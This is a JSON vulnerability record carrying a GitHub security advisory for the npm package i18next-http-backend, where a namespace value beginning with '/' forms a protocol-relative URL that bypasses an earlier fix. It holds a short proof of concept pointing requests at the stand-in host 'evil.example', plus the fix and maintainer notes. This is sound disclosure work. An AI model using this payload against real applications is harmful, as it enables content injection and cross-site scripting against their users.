{"schema":"threatline.record/2","record":{"id":"GHSA-9jhj-wvmw-cfx5","aliases":["GHSA-9jhj-wvmw-cfx5"],"summary":"Namespace value starting with / forms a protocol-relative URL when loadPath/addPath places {{ns}} right after a / (bypass of the // check added for GHSA-xvq9-wjp8-hwqf)","details":"## Affected versions\nVerified on 4.0.2 (latest on npm) and on commit 07e0288 (the GHSA-xvq9-wjp8-hwqf fix). Earlier 3.x/4.x versions that allow `/` in ns are likely affected too. Not verified on them.\n\n## Impact\nSame class as GHSA-xvq9-wjp8-hwqf and GHSA-q89c-q3h5-w34g: when an attacker controls the namespace value, the request goes to an attacker-chosen origin. In a browser this loads attacker-controlled translation JSON (content injection into the UI, and XSS where translations are rendered as HTML). The precondition is a template with `{{ns}}` right after a leading `/`, for example `/{{ns}}/{{lng}}.json`. The 4.0.2 maintainer note says templates with a leading `/` are safe. This case is outside that statement.\n\n## Root cause\n`isSafeNsUrlSegment` rejects any ns containing `//`, but allows a single leading `/` (needed for nested namespaces like `a/b`). Interpolation into `/{{ns}}/...` puts the template's own `/` next to the value's `/`. The result starts with `//`, which is a protocol-relative URL. The check runs on the value, not on the final URL.\n\n## Minimal PoC\n```js\nimport Backend from 'i18next-http-backend'\nconst b = new Backend(null, { loadPath: '/{{ns}}/{{lng}}.json',\n  request: (opts, url, payload, cb) => { console.log(url, '->', new URL(url, 'https://app.example/').origin); cb(null, { status: 200, data: '{}' }) } })\nb.read('en', '/evil.example', () => {})\n```\nObserved on 4.0.2:\n```\nPOC ns=/evil.example  loadPath=/{{ns}}/{{lng}}.json => url=//evil.example/en.json  origin in page https://app.example/ = https://evil.example\n```\n\n## Negative controls (same run)\n- ns `//evil.example`: rejected (\"unsafe lng/ns value\").\n- lng `http:127.0.0.1:9` (the GHSA-xvq9 payload): rejected.\n- ns `common` and nested ns `a/b`: `common/en.json` and `a/b/en.json`, same origin.\n\n## Suggested fix\nValidate the final interpolated URL, not just the values: reject it if it starts with `//` or `\\`, or if it has a scheme or host the template did not have. The advisory already recommends this (\"parse the final URL and require it to remain within the intended origin and path\"). Alternatively, reject an ns that starts with `/`.\n\n## Disclosure\nWe intend to keep this private for 90 days from the date of the report, or until a fixed release is available, whichever comes first, and are happy to adjust if you need more time.\n\n## Re-verification\nRe-run on 2026-10-14 against the same latest release. The PoC still reproduces and the negative controls still hold.\n\nReported by Zachariah Mithani.\n\n## Maintainer note\n\nConfirmed and fixed in 4.0.3 (commit i18next/i18next-http-backend@042c3d4).\n\n**Preconditions.** The `loadPath` / `addPath` template must put `{{ns}}` directly after a leading `/` (for example `/{{ns}}/{{lng}}.json`), and the attacker must control the namespace value. Applications usually set namespaces in code rather than from user input. The default `/locales/{{lng}}/{{ns}}.json`, templates with an origin, and templates with a fixed path segment before `{{ns}}` are not affected. Only browsers are affected: in Node, `fetch('//host/...')` fails because there is no base URL to resolve against. XSS additionally requires the application to render translations as HTML.\n\n**Fix.** The 4.0.2 `//` check looked at each value on its own and could not see the `/` the template puts in front of it. `interpolateUrl` now also checks the interpolated URL: it may only start with `//` or `\\` if the template itself does. Protocol-relative CDN templates such as `//cdn.example/{{lng}}/{{ns}}.json` keep working.\n\n**Affected range.** Versions before 3.0.5 had no value validation at all and are reachable through this vector too, so the affected range is `< 4.0.3`.\n\n**Related.** i18next-fs-backend had the same class of problem for file paths (a leading `/` in `ns`, or `C:` in `lng`, changing the root of a path built from a template that starts with the placeholder). It is fixed in i18next-fs-backend 2.6.9.","categories":["Unclassified"],"product":"i18next-http-backend","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-9jhj-wvmw-cfx5","source_modified_at":"2026-10-14T20:57:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"i18next-http-backend"},"range":"< 4.0.3"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-9jhj-wvmw-cfx5","source_modified_at":"2026-10-14T20:57:28Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"i18next-http-backend"},"version":"4.0.3"}],"cvss":3.1,"severity":"Low","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-14T20:57:28Z","modified_at":"2026-10-14T20:57:28Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-9jhj-wvmw-cfx5","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-14T20:57:28Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-14T20:57:28Z","content_hash":"fbc08a9f22985aaae3f4aaa074289166c650702da5e71065db6daf82ab631d38"}}
